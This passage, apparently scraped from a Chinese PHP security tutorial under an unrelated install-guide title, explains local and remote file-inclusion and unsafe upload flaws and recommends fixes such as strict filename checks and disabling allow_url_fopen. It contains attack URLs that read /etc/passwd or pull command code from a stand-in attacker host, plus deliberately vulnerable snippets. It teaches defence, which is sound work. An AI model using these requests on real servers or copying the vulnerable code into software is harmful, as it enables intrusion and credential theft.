PHP5安装配置和Zend Optimizer安装教程
可以得到/etc/passwd文件:
http://victim/test_3.php?filename=/etc/passwd 如果对于Unix版的PHP(Win版的PHP不支持远程打开文件)攻击者可以在自己开了http或ftp服务的机器上建立一个包含shell命令的文件,如http://attack/attack.txt 的内容是,那么如下的请求就可以在目标主机执行命令ls /etc: http://victim/test_3.php?filename=http://attack/attack.txt 攻击者甚至可以通过包含apache的日志文件access.log和error.log来得到执行命令的代码,不过由于干扰信息太多,有时不易成功。 对于另外一种形式,如下代码片断: //test_4.php include("$lib/config.php"); ?> 攻击者可以在自己的主机建立一个包含执行命令代码的config.php文件,然后用如下请求也可以在目标主机执行命令: http://victim/test_4.php?lib=http://attack PHP的包含函数有include(), include_once(), require(), require_once。如果对包含文件名变量检查不严就会对系统造成严重危险,可以远程执行命令。 解决方法: 要求程序员包含文件里的参数尽量不要使用变量,如果使用变量,就一定要严格检查要包含的文件名,绝对不能由用户任意指定。 如前面文件打开中限制PHP操作路径是一个必要的选项。另外,如非特殊需要,一定要关闭PHP的远程文件打开功能。 修改php.ini文件: allow_url_fopen = Off 重启apache。 5、文件上传 php的文件上传机制是把用户上传的文件保存在php.ini的upload_tmp_dir定义的临时目录(默认是系统的临时目录,如:/tmp)里的一个类似phpxXuoXG的随机临时文件,程序执行结束,该临时文件也被删除。PHP给上传的文件定义了四个变量:(如form变量名是file,而且register_globals打开) $file #就是保存到服务器端的临时文件(如/tmp/phpxXuoXG ) $file_size #上传文件的大小 $file_name #上传文件的原始名称 $file_type #上传文件的类型 推荐使用: $HTTP_POST_FILES[''file''][''tmp_name''] $HTTP_POST_FILES[''file''][''size''] $HTTP_POST_FILES[''file''][''name''] $HTTP_POST_FILES[''file''][''type''] 这是一个最简单的文件上传代码: //test_5.php if(isset($upload) && $file != "none") { copy($file, "/usr/local/apache/htdocs/upload/".$file_name); echo "文件".$file_name."上传成功!点击继续上传"; exit; } ?> con |
凌众科技专业提供服务器租用、服务器托管、企业邮局、虚拟主机等服务,公司网站:http://www.lingzhong.cn 为了给广大客户了解更多的技术信息,本技术文章收集来源于网络,凌众科技尊重文章作者的版权,如果有涉及你的版权有必要删除你的文章,请和我们联系。以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息,谢谢! |